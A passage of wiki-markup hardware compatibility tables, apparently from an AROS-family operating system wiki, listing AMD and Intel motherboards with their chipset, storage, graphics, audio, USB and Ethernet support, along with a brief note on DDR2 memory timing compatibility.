| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;A620M 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; Zen5 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; Zen6 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--ACPI--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Opinion--&gt;2026 FP8 Zen 6 Medusa Point 4bigC, 4 econC, 2lpC, 8coreGPU - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--ACPI--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Opinion--&gt;2026 FP10 Zen 6 Medusa Point 4bigC, 4 econC, 2lpC, 8coreGPU - 
|-
|}


===== (Zen7 AM6 2027/3x)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


===== (Zen AM 203x/3x)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt; 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


====Intel Sockets====

[[#top|...to the top]]


=====Socket 370 (2000/2)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Intel D815EEA 
| &lt;!--Chipset--&gt;866Mhz P3 and i815 chipset 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{Yes|Nvidia AGPx8 6200LE added}}
| &lt;!--Audio--&gt;{{N/A}}
| &lt;!--USB--&gt;{{Yes|2 USB1.1}}
| &lt;!--Ethernet--&gt;{{N/A}}
| &lt;!--Opinion--&gt;Tested AspireOS 1.7, simple basic board with useful 5 PCI slots 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket 478 (2002/4)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;[http://translate.google.co.uk/translate?hl=en&amp;sl=zh-CN&amp;u=http://detail.zol.com.cn/motherboard/index46381.shtml&amp;prev=/search%3Fq%3Dc.865pe.l%2Bmotherboard%26client%3Dfirefox-a%26hs%3DsZB%26rls%3Dorg.mozilla:en-US:official Colorful Technology C.865PE-L Silver Fighter Warrior V2.3] 
| &lt;!--Chipset--&gt;865PE
| &lt;!--ACPI--&gt;{{dunno| }}
| &lt;!--IDE--&gt;{{Yes|tested with CDROM}}
| &lt;!--SATA--&gt;{{dunno| }}
| &lt;!--Gfx--&gt;{{Maybe|AGP slot}}
| &lt;!--Audio--&gt;{{Yes|ALC650 AC97}} 
| &lt;!--USB--&gt;{{Yes|USB 1.1 and 2.0}}
| &lt;!--Ethernet--&gt;{{Yes|RTL 8100 8139}} 
| &lt;!--Opinion--&gt;Still testing with NB (Nightly Build) May 2013 
|-
| &lt;!--Name--&gt;Intel 845 
| &lt;!--Chipset--&gt;865P
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{No|intel 800}}
| &lt;!--Audio--&gt;{{No|AC97 AD1985}}
| &lt;!--USB--&gt;{{Yes|USB1.1 and USB2.0}}
| &lt;!--Ethernet--&gt;{{No|e1000}}
| &lt;!--Opinion--&gt;Tested ICAROS 1.3 
|-
| &lt;!--Name--&gt;Intel 845 
| &lt;!--Chipset--&gt;865GC 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{No|intel 865 Extreme Graphics 2}}
| &lt;!--Audio--&gt;{{No|AC97 AD1985}}
| &lt;!--USB--&gt;{{Yes|USB1.1 and USB2.0}}
| &lt;!--Ethernet--&gt;{{No|e1000}}
| &lt;!--Opinion--&gt;Tested ICAROS 1.3 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}


=====Socket LGA775 s775 (2005/8)=====

an industry standard DDR2 module could in theory contain fallback JEDEC, intel XMP and AMD EPP configuration data 

Intel PC CL5 ram modules but an &quot;AMD&quot; CL5 ram module the BIOS cannot read the AMD EPP info on the SPD (Serial Presence Detect) but can recognize the CL5 timing info in the JEDEC data table. PC BIOS auto configures for the AMD ram module and boots normally. 

an AMD PC CL6 ram modules but an &quot;INTEL&quot; CL6 ram module the BIOS cannot read the INTEL XMP info on the SPD but can recognize the CL6 timing info in JEDEC data table. PC BIOS auto configures for the AMD ram module and boots normally. 

an INTEL PC needs CL6 ram modules but have an &quot;AMD&quot; CL4 ram module. INTEL BIOS cannot read the AMD EPP info on the SPD but can recognize the CL4 timing info in JEDEC data table. PC BIOS recognizes module timings as incompatible an refuses to boot.  

entirely separate issue if the RAM module timing specs are incompatible.(i.e. CL4 RAM in a &quot;CL6 only&quot; PC) 


{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Abit AG8 
| &lt;!--Chipset--&gt;P915 + ICH6R 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 ports SATA1 
| &lt;!--Gfx--&gt;1 PCIe x16 Slot 
| &lt;!--Audio--&gt;Realtek ALC658 AC97 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;Realtek 8110S-32 
| &lt;!--Opinion--&gt;2004 32bit - Firewire TI 4200R7T no 
|-
| &lt;!--Name--&gt;MSI 915 Neo2 
| &lt;!--Chipset--&gt;P915 + ICH6R 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 ports SATA1 
| &lt;!--Gfx--&gt;1 PCIe x16 Slot 
| &lt;!--Audio--&gt;CMI 9880L HD Audio 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;{{no|Broadcomm BCM5751 PCIe}}
| &lt;!--Opinion--&gt;Firewire VIA VT6306 no 
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Asus P5GC P5GC-MX 
| &lt;!--Chipset--&gt;P945GC Lakeport-GC + ICH7R northbridge
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 SATA1 3.0 Gbit/s ports  
| &lt;!--Gfx--&gt;1 PCIe 1.1 slot 
| &lt;!--Audio--&gt;HD Audio with ALC662 codec 
| &lt;!--USB--&gt;{{yes|2 usb2.0}}
| &lt;!--Ethernet--&gt;{{no|atheros L2}}
| &lt;!--Opinion--&gt;2005 32bit - 3 pci slots - 4 x 240-pin DIMM Sockets max. 4GB DDR2 667/533 non-ECC - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Foxconn PC45CM-SA 45CM-S 
| &lt;!--Chipset--&gt;945GC with ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 sata2 ports 
| &lt;!--Gfx--&gt;{{Yes|pcie 1.0 slot with gma950 integrated}} 
| &lt;!--Audio--&gt;{{Yes|HD audio with aLC883 codec playback}}  
| &lt;!--USB--&gt;{{Yes|}}
| &lt;!--Ethernet--&gt;{{Yes|realtek 8139 8100sc}}
| &lt;!--Opinion--&gt;2 dimm slots 667mhz max 4gb - can be found in Advent desktops - 2 pci-e and 2 pci - core 2 duo only e6xxx - Micro ATX (9.6” x 8.8”) - 
|-
| &lt;!--Name--&gt;Gigabyte GA-81945GM MFY-RH
| &lt;!--Chipset--&gt;Intel® 945GM Express with ICH7M-DH 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Yes|GMA950 VGA15 and PCI-e 1.0 slot}} 
| &lt;!--Audio--&gt;{{Yes|HD Audio with ALC880 codec playback only rear port}}
| &lt;!--USB--&gt;{{Yes|4 usb 2.0}}
| &lt;!--Ethernet--&gt;{{No|Intel PRO1000PL 82573L Gigabit Ethernet}}
| &lt;!--Opinion--&gt;2006 MoDT term “Mobile on DeskTop.”, low TDP CPUs to work on desktop form-factor motherboards. mATX Micro ATX 24.4cm x 24.4cm - 2 DDR2 dimm 1.8v slots with 4Gb max - will not boot if PCI2 slot occupied - 
|-
| &lt;!--Name--&gt;Gigabyte GA-945 GCM S2C
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|ALC662 (1.x)}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{yes|8101E Rtl 8169 (1.x)}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA945-GCM S2L 
| &lt;!--Chipset--&gt;945GC with ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port
| &lt;!--SATA--&gt;4 SATA1 ports
| &lt;!--Gfx--&gt;PCi-E slot
| &lt;!--Audio--&gt;{{Maybe|Intel HD Audio with ALC662 codec 2/4/5.1-channel (1.x)}}  
| &lt;!--USB--&gt;{{Yes|4 USB2.0}}
| &lt;!--Ethernet--&gt;{{Yes|Realtek 8111c 8169 (1.x)}} 
| &lt;!--Opinion--&gt;2 x 1.8V DDR2 DIMM 4GB DDR2 memory max - 2 PCI-e and 2 PCI - Micro ATX form factor; 24.4cm x 19.3cm  - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI 945P Neo-F rev 1.0
| &lt;!--Chipset--&gt;P945 + ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 SATA1 ports
| &lt;!--Gfx--&gt;PCie 1.0 slot
| &lt;!--Audio--&gt;ALC662 HDA 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;8110SC (rtl8169) 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;MSI 945P Neo2-F rev 1.2
| &lt;!--Chipset--&gt;P945 + ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;4 SATA1 ports
| &lt;!--Gfx--&gt;PCie 1.0 slot
| &lt;!--Audio--&gt;ALC850 AC97 
| &lt;!--USB--&gt;4 USB2.0 
| &lt;!--Ethernet--&gt;8110SC (rtl8169) 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-P31-DS3L 
| &lt;!--Chipset--&gt;P31 with ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;PCI Express x16 
| &lt;!--Audio--&gt;HD Audio with ALC888 codec 
| &lt;!--USB--&gt;4 USB 2.0 
| &lt;!--Ethernet--&gt;Realtek 8111B 
| &lt;!--Opinion--&gt;DDR2 800Mhz up to 4Gb 4 x 240 pin - 3 PCI - ATX 12.0&quot; x 8.3&quot; - 
|-
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus P5KPL-AM /PS 
| &lt;!--Chipset--&gt;G31 with ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;4 xSATA 3 Gbit/s ports 
| &lt;!--Gfx--&gt;PCIe 1.1 with integrated Intel® GMA 3100 
| &lt;!--Audio--&gt;HD Audio with VIA VT1708B with ALC662 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8102EL 100/10 LAN with Realtek RTL8111C Gigabit LAN  
| &lt;!--Opinion--&gt;2 x 2 GB DDR2 Non-ECC,Un-buffered DIMMs with 2 PCI - Intel Graphics Media Accelerator - 
|-
| &lt;!--Name--&gt;Asus P5KPL/EPU 
| &lt;!--Chipset--&gt;G31 with ICH7
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Pci-e 1.0 slot
| &lt;!--Audio--&gt;{{Yes|HD audio with ALC887 codec}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{Yes|RTL8169 Realtek 8111C}} 
| &lt;!--Opinion--&gt;Tested - 4 240-pin DIMM, Max. 4 GB - 4 pci-e and 3 pci - ATX Form Factor 12 inch x 8.2 inch ( 30.5 cm x 20.8 cm ) - 
|-
| &lt;!--Name--&gt;Gigabyte GA-G31M ES2L
| &lt;!--Chipset--&gt;G31 plus ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Yes|Intel GMA 3100 2d}}
| &lt;!--Audio--&gt;{{Maybe|ALC883 (1.x), ALC883/888B (2.x)}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{Maybe|RTL8111C (1.x), Atheros 8131 (2.x)}}
| &lt;!--Opinion--&gt;reduces DRAM capacity to 4GB 
|-
| &lt;!--Name--&gt;ASRock G31M-S r1.0  G31M-GS
| &lt;!--Chipset--&gt;G31 + ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{maybe|4 sata2}} 
| &lt;!--Gfx--&gt;{{maybe|GMA 3100 2d not 3d}} 
| &lt;!--Audio--&gt;{{yes|ALC662}}
| &lt;!--USB--&gt;{{yes|4 USB2.0}}
| &lt;!--Ethernet--&gt;{{partial|rtl8169 RTL8111DL 8169 (for -GS) RTL8102EL (for -S)}}
| &lt;!--Opinion--&gt;2007 64bit Core2 - 2 DDR2 800 max 8Gig AMI bios MicroATX - 
|-
| &lt;!--Name--&gt;ASRock G31M-S r2.0 
| &lt;!--Chipset--&gt;G31 + ICH7 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{maybe|4 sata2}} 
| &lt;!--Gfx--&gt;{{maybe|GMA 3100 2d not 3d}} 
| &lt;!--Audio--&gt;{{yes|ALC662}}
| &lt;!--USB--&gt;{{yes|4 USB2.0}}
| &lt;!--Ethernet--&gt;{{yes|RTL 8111DL 8169}}
| &lt;!--Opinion--&gt;2008 64bit core2 - 2 DDR2 800 max 8Gig MicroATX 
|-
| &lt;!--Name--&gt;[http://www.intel.com/cd/channel/reseller/apac/eng/products/desktop/bdb/dg31pr/feature/index.htm Intel DG31PR] 
| &lt;!--Chipset--&gt;iG31 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|3100 but can use PCIe 1.1 slot}}
| &lt;!--Audio--&gt;{{yes|ALC888 playback}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{yes|RTL8111B Rtl 8169}}
| &lt;!--Opinion--&gt;good support 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;Intel G33 Express Chipset with ich9 southbridge 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Intel 3100 powervr tile based 
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2008 64bit - embedded on Core 2 Quad, Core 2 Duo, Pentium Dual-Core CPUS with Integrated GPU Intel GMA 3100 - 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASUS P5G41T-M LX  
| &lt;!--Chipset--&gt;G41 + ICH8 + DDR3 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{yes|X4500 some 2d only)}}
| &lt;!--Audio--&gt;ALC887
| &lt;!--USB--&gt;3 USB2.0 
| &lt;!--Ethernet--&gt;{{no|Atheros L1c AR8131}}
| &lt;!--Opinion--&gt;reduces maximum supported memory ddr3 from 16 to 8GB 2 dimm slots non-EEC - demotes the PCIe controller mode from revision 2.0 (5.0GT/s) to revision 1.1 (2.5GT/s
|-
| &lt;!--Name--&gt;Gigabyte GA-G41MT S2 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;VT1708S (1.3), ALC887-VD2 (1.4), ALC887 (2.1), 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Atheros AR8151 l1c (1.x 2.x), 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-G41MT S2PT 
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC887 (1.0), VIA (2.0), ALC887 (2.1)
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL8111E (1.x), Atheros AR8151 l1c (2.1), 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-G41MT D3 
| &lt;!--Chipset--&gt;G41 + ICH7
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 Port
| &lt;!--SATA--&gt;4 Ports
| &lt;!--Gfx--&gt;{{yes|GMA X4500 2d only and pci-e 1.1 slot}}
| &lt;!--Audio--&gt;{{yes|ALC888B}}
| &lt;!--USB--&gt;4 ports + headers
| &lt;!--Ethernet--&gt;{{yes|RTL8111 D/E}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA-P41T D3P 
| &lt;!--Chipset--&gt;G41 + ICH7 with Intel Core 2 Duo (E6xxx) CPU 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port
| &lt;!--SATA--&gt;4ports 
| &lt;!--Gfx--&gt;GMA X4500 2d
| &lt;!--Audio--&gt;ALC888 889/892 
| &lt;!--USB--&gt;4 ports 
| &lt;!--Ethernet--&gt;RTL 8111C or D/E 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Intel DG41AN Classic 
| &lt;!--Chipset--&gt;iG41 + 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;1 port
| &lt;!--SATA--&gt;4 ports 
| &lt;!--Gfx--&gt;X4500 2d
| &lt;!--Audio--&gt;ALC888S ALC888VC
| &lt;!--USB--&gt;4 ports 
| &lt;!--Ethernet--&gt;8111E
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;AsRock P5B-DE
| &lt;!--Chipset--&gt;P965 + ICH8 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;{{Maybe|works ide legacy}}
|&lt;!--Gfx--&gt;{{Yes|with PCI-E 1.1 slot}}
| &lt;!--Audio--&gt;{{Yes|HD Audio via VT1708S}}
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{Yes|RTL8169}}
| &lt;!--Opinion--&gt;2006 works well 
|-
| &lt;!--Name--&gt;Asus P5B SE
| &lt;!--Chipset--&gt;965 intel 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes| }}
| &lt;!--SATA--&gt;{{Yes| }}
| &lt;!--Gfx--&gt;{{N/A}}
| &lt;!--Audio--&gt;{{Yes|HD Audio ALC662 codec}}
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{No| }}
| &lt;!--Opinion--&gt;works well except ethernet 
|-
| &lt;!--Name--&gt;
